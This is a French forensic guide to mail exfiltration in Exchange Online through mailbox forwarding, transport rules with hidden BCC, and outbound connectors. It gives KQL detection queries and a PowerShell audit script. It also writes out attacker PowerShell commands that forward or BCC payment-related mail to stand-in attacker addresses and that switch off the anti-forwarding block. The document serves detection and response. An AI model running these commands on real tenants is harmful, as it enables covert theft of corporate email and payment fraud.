Redirections de mail, règles de transport & abus de connecteurs
Tandis que les règles de boîte de réception ciblent un utilisateur individuel, les cybercriminels cherchant une persistance administrative et une exfiltration massive à l’échelle du tenant opèrent aux échelons supérieurs d’Exchange Online. En manipulant les attributs de transfert de boîte aux lettres, les règles de flux de messagerie de transport (Transport Rules) et les connecteurs sortants, les attaquants déploient des dispositifs d’espionnage automatisés interceptant l’ensemble des flux d’entreprise.
De surcroît, les adversaires expérimentés savent neutraliser les mécanismes anti-spam natifs de Microsoft — qui bloquent par défaut les transferts externes avec le code NDR 550 5.7.520 — en exploitant la duplication par copie cachée (BlindCopyTo) au niveau du transport ou en altérant les politiques de filtrage sortant.
Ce guide propose une dissection technique et forensique des trois niveaux de redirection de messagerie, analyse les techniques de contournement anti-spam, détaille la télémétrie Purview et fournit des requêtes de détection KQL ainsi que des scripts d’investigation PowerShell.
1. Les trois niveaux de redirection de messagerie cloud
Section intitulée « 1. Les trois niveaux de redirection de messagerie cloud »Exchange Online dispose de trois strates distinctes pour détourner ou dupliquer les flux de courriels :
graph TD INCOMING[Email Entrant Reçu par EOP] --> TIER3{Niveau 3 : Connecteurs Entrants / Sortants<br/>Routage vers Smart Host Externe / Abus de Relais}
TIER3 --> TIER2{Niveau 2 : Règles de Transport de Flux<br/>Évaluation Globale par le Categorizer<br/>BlindCopyTo / RedirectMessageTo}
TIER2 --> TIER1{Niveau 1 : Propriétés de la Boîte Mail<br/>ForwardingSmtpAddress / ForwardingAddress<br/>DeliverToMailboxAndForward}
TIER1 --> STORE[Dépôt dans la Boîte de Réception]
TIER1 -.->|Transfert Externe| EXFIL1[(Boîte de Collecte Pirate)] TIER2 -.->|Copie Cachée Invisible| EXFIL2[(Boîte de Collecte Pirate)] TIER3 -.->|Relais MTA Hostile| EXFIL3[(Serveur Mail Contrôlé par l'Attaquant)]1.1 matrice comparative des niveaux de redirection
Section intitulée « 1.1 matrice comparative des niveaux de redirection »| Niveau de Redirection | Périmètre d’Application | Commandes de Configuration | Impact Forensique & Niveau de Risque |
|---|---|---|---|
| Niveau 1 : propriétés de boîte | Par boîte aux lettres | Set-Mailbox -ForwardingSmtpAddress | Transfère tous les emails entrants d’une cible vers l’extérieur. Soumis au blocage de l’Anti-Spam sortant. |
| Niveau 2 : règles de transport | À l’échelle du tenant (Global) | New-TransportRule -BlindCopyTo | Duplique silencieusement en copie cachée les messages correspondant aux critères. Contourne le blocage anti-spam. |
| Niveau 3 : connecteurs | Frontière de transport du tenant | New-OutboundConnector | Révise le routage des domaines sortants vers un serveur SMTP externe sous contrôle pirate, interceptant les emails en clair. |
2. Fonctionnement du transfert au niveau boîte (niveau 1)
Section intitulée « 2. Fonctionnement du transfert au niveau boîte (niveau 1) »Au niveau individuel, Exchange Online propose deux paramètres distincts sur l’objet boîte aux lettres :
ForwardingAddress: pointe vers un objet destinataire interne déjà référencé dans l’annuaire Entra ID / Exchange (contact ou utilisateur de messagerie).ForwardingSmtpAddress: reçoit une chaîne d’adresse SMTP externe arbitraire (ex.collecte@domaine-attaquant.com).DeliverToMailboxAndForward:- Si positionné à
$true, l’email est déposé dans la boîte de la victime et transféré vers l’extérieur. - Si positionné à
$false, la boîte agit comme un trou noir : l’email est transféré au pirate mais aucune copie n’est déposée dans la boîte de la victime, qui ignore totalement la réception du message.
- Si positionné à
# Commande d'exfiltration utilisée par les attaquantsSet-Mailbox -Identity "daf@target.com" ` -ForwardingSmtpAddress "audit-financier@domaine-pirate.com" ` -DeliverToMailboxAndForward $false3. Contournement des protections anti-transfert externes
Section intitulée « 3. Contournement des protections anti-transfert externes »Dans la configuration par défaut de Microsoft 365, les transferts automatiques externes sont interdits pour contrer les fraudes BEC :
550 5.7.520 Access denied, Your organization does not allow external forwarding.Les attaquants contournent cette restriction via deux méthodes majeures :
graph TD ATTACK[L'Attaquant Veut Exfiltrer les Flux de Mail] --> METHOD{Vecteur de Contournement}
METHOD -->|Vecteur A : Altération de Politique| POL[Modification de la Politique Anti-Spam Sortante<br/>Set-HostedOutboundSpamFilterPolicy<br/>AutoForwardingMode = On] METHOD -->|Vecteur B : Duplication par Règle de Transport| TR[Création d'une Règle avec BlindCopyTo<br/>New-TransportRule -BlindCopyTo pirate@drop.com]
POL --> NDR_OFF[EOP Autorise les Transferts Externes<br/>Le NDR 5.7.520 est Désactivé sur Tout le Tenant] TR --> CAT_DUP[Le Categorizer Duplique le Message<br/>Évalué comme Destinataire d'Enveloppe Autonome<br/>Non Classé comme 'Auto-Forward' !]3.1 vecteur a : altération de la politique anti-spam sortante
Section intitulée « 3.1 vecteur a : altération de la politique anti-spam sortante »Si l’attaquant a compromis un compte disposant du rôle Exchange Administrator ou Security Administrator, il modifie la politique par défaut :
Set-HostedOutboundSpamFilterPolicy -Identity "Default" -AutoForwardingMode OnCette commande unique réactive les transferts externes sur l’ensemble du tenant, levant instantanément le blocage EOP.
3.2 vecteur b : duplication par règle de transport (la faille du BCC)
Section intitulée « 3.2 vecteur b : duplication par règle de transport (la faille du BCC) »Les attaquants les plus expérimentés ne modifient pas la politique globale. Ils créent une règle de transport (Mail Flow Rule) intégrant une action de copie cachée invisible (BlindCopyTo) :
New-TransportRule -Name "Supervision Financiere" ` -FromScope InOrganization ` -SubjectOrBodyContainsWords @("virement", "facture", "paiement", "RIB", "banque") ` -BlindCopyTo "exfil@external-intelligence.com" ` -Priority 0Pourquoi la technique du BCC fonctionne :
Section intitulée « Pourquoi la technique du BCC fonctionne : »Le moteur de routage (transport categorizer) d’Exchange Online traite BlindCopyTo comme une expansion de destinataire d’enveloppe au niveau transport, et non comme un transfert automatique émanant d’un client. Par conséquent, EOP évalue le message comme un courriel sortant ordinaire, contournant intégralement la règle d’interdiction AutoForwardingMode = Prohibited !
4. Télémétrie et artefacts forensiques dans purview UAL
Section intitulée « 4. Télémétrie et artefacts forensiques dans purview UAL »Toute modification de routage produit un enregistrement sous RecordType : ExchangeAdmin (2) dans le Unified Audit Log :
| Opération | Service | Éléments Clés Enregistrés dans AuditData |
|---|---|---|
Set-Mailbox | Exchange | Parameters.ForwardingSmtpAddress, Parameters.DeliverToMailboxAndForward, cible. |
New-TransportRule | Exchange | Parameters.Name, Parameters.BlindCopyTo, Parameters.RedirectMessageTo, conditions. |
Set-HostedOutboundSpamFilterPolicy | Exchange | Parameters.AutoForwardingMode (On vs Prohibited). |
New-OutboundConnector | Exchange | Parameters.SmartHosts, Parameters.RecipientDomains, Parameters.TlsDomain. |
// Exemple d'enregistrement UAL pour la création d'une règle de transport malveillante{ "CreationTime": "2026-03-24T11:45:10", "Id": "9f8e7d6c-5b4a-3210-9876-1e2f3a4b5c6d", "Operation": "New-TransportRule", "OrganizationId": "8f3b6a9c-2d1e-4b5a-9f8e-7c6b5a4d3e2f", "RecordType": 2, "ResultStatus": "True", "UserId": "admin-compromis@target.com", "ClientIP": "198.51.100.33", "Parameters": [ { "Name": "Name", "Value": "Supervision Qualite Service" }, { "Name": "BlindCopyTo", "Value": "surveillance@external-drop.com" }, { "Name": "SubjectOrBodyContainsWords", "Value": "facture;virement;RIB;banque" }, { "Name": "Priority", "Value": "0" } ]}5. Requêtes de chasse KQL en production
Section intitulée « 5. Requêtes de chasse KQL en production »5.1 détection de l’altération de la politique anti-spam sortante
Section intitulée « 5.1 détection de l’altération de la politique anti-spam sortante »Identifier toute action administrative activant les transferts automatiques externes :
CloudAppEvents| where TimeGenerated >= ago(30d)| where ActionType in ("Set-HostedOutboundSpamFilterPolicy", "New-HostedOutboundSpamFilterPolicy")| extend Raw = parse_json(RawEventData)| extend Parameters = Raw.Parameters| mv-expand Parameters| where Parameters.Name == "AutoForwardingMode" and Parameters.Value in ("On", "Enabled")| project TimeGenerated, AccountDisplayName, ActionType, PolicyName=tostring(Raw.ObjectId), ClientIP=tostring(Raw.ClientIP), Parameters| sort by TimeGenerated desc5.2 détection des règles de transport avec copie cachée OU redirection externe
Section intitulée « 5.2 détection des règles de transport avec copie cachée OU redirection externe »Repérer les règles de flux dupliquant des messages vers des adresses externes :
CloudAppEvents| where TimeGenerated >= ago(30d)| where ActionType in ("New-TransportRule", "Set-TransportRule")| extend Raw = parse_json(RawEventData)| extend Parameters = Raw.Parameters| mv-expand Parameters| extend ParamName = tostring(Parameters.Name), ParamValue = tostring(Parameters.Value)| summarize RuleParams = make_bag(pack(ParamName, ParamValue)), ClientIP = take_any(tostring(Raw.ClientIP)) by TimeGenerated, AccountDisplayName, ActionType| extend RuleName = tostring(RuleParams.Name), BlindCopyTo = tostring(RuleParams.BlindCopyTo), RedirectTo = tostring(RuleParams.RedirectMessageTo)| where isnotempty(BlindCopyTo) or isnotempty(RedirectTo)| project TimeGenerated, AccountDisplayName, ActionType, RuleName, BlindCopyTo, RedirectTo, ClientIP| sort by TimeGenerated desc5.3 détection des transferts directs au niveau boîte mail (Set-Mailbox)
Section intitulée « 5.3 détection des transferts directs au niveau boîte mail (Set-Mailbox) »Repérer l’attribution d’une adresse de transfert SMTP externe sur une boîte :
CloudAppEvents| where TimeGenerated >= ago(30d)| where ActionType == "Set-Mailbox"| extend Raw = parse_json(RawEventData)| extend Parameters = Raw.Parameters| mv-expand Parameters| where Parameters.Name in ("ForwardingSmtpAddress", "ForwardingAddress")| where isnotempty(tostring(Parameters.Value))| project TimeGenerated, AccountDisplayName, TargetMailbox=tostring(Raw.ObjectId), ForwardingParameter=tostring(Parameters.Name), ForwardingTarget=tostring(Parameters.Value), ClientIP=tostring(Raw.ClientIP)| sort by TimeGenerated desc6. Script PowerShell d’audit global et neutralisation
Section intitulée « 6. Script PowerShell d’audit global et neutralisation »Exécuter ce script lors d’une intervention pour contrôler les trois niveaux de routage :
# Prérequis : Module ExchangeOnlineManagement# Connect-ExchangeOnline
Write-Host "=====================================================" -ForegroundColor CyanWrite-Host " AUDIT DU ROUTAGE ET DES REDIRECTIONS EXCHANGE ONLINE" -ForegroundColor CyanWrite-Host "=====================================================" -ForegroundColor Cyan
# 1. Contrôle de la politique anti-spam sortanteWrite-Host "`n[*] Examen des politiques anti-spam sortantes..." -ForegroundColor Yellow$spamPolicies = Get-HostedOutboundSpamFilterPolicyforeach ($pol in $spamPolicies) { if ($pol.AutoForwardingMode -eq "On") { Write-Error "[!] ALERTE CRITIQUE : La politique '$($pol.Name)' a son AutoForwardingMode activé sur ON !" } else { Write-Host "[+] Politique '$($pol.Name)' : AutoForwardingMode est $($pol.AutoForwardingMode)" -ForegroundColor Green }}
# 2. Contrôle des transferts configurés sur les boîtes aux lettresWrite-Host "`n[*] Examen des transferts au niveau boîte..." -ForegroundColor Yellow$forwarded = Get-Mailbox -ResultSize Unlimited | Where-Object { $_.ForwardingSmtpAddress -or $_.ForwardingAddress }if ($forwarded) { Write-Warning "[!] $($forwarded.Count) boîte(s) avec transfert externe actif identifiée(s) :" $forwarded | Select-Object DisplayName, UserPrincipalName, ForwardingSmtpAddress, DeliverToMailboxAndForward | Format-Table} else { Write-Host "[+] Aucun transfert externe configuré sur les boîtes." -ForegroundColor Green}
# 3. Contrôle des règles de transport (BCC / Redirection)Write-Host "`n[*] Examen des règles de flux de transport (Mail Flow)..." -ForegroundColor Yellow$transportRules = Get-TransportRule | Where-Object { $_.BlindCopyTo -or $_.RedirectMessageTo }if ($transportRules) { Write-Warning "[!] $($transportRules.Count) règle(s) de transport avec copie cachée (BCC) ou redirection :" $transportRules | Select-Object Name, Priority, State, BlindCopyTo, RedirectMessageTo | Format-Table} else { Write-Host "[+] Aucune règle de transport avec copie cachée suspecte détectée." -ForegroundColor Green}
# 4. Contrôle des connecteurs sortantsWrite-Host "`n[*] Examen des connecteurs sortants..." -ForegroundColor Yellow$connectors = Get-OutboundConnectorif ($connectors) { Write-Warning "[!] Examen des connecteurs sortants configurés :" $connectors | Select-Object Name, Enabled, ConnectorType, SmartHosts, RecipientDomains | Format-Table} else { Write-Host "[+] Aucun connecteur sortant personnalisé configuré." -ForegroundColor Green}7. Maillage interne & navigation
Section intitulée « 7. Maillage interne & navigation »- Fiche précédente : 27. Règles de Boîte & Manipulation Furtive comme Persistance
- Fiche suivante : 29. Consentement OAuth, Applications Furtives & Service Principals
- Fiches complémentaires :
- 13. Dissection approfondie du unified audit log (UAL)
- 15. Forensique du message trace Exchange online
- 16. Message trace vs mailbox audit vs unified audit log
- 17. Audit de boîte mail & analyse de MailItemsAccessed
- 19. Kill chain de compromission de compte M365
- 26. Taxonomie des techniques de persistance cloud M365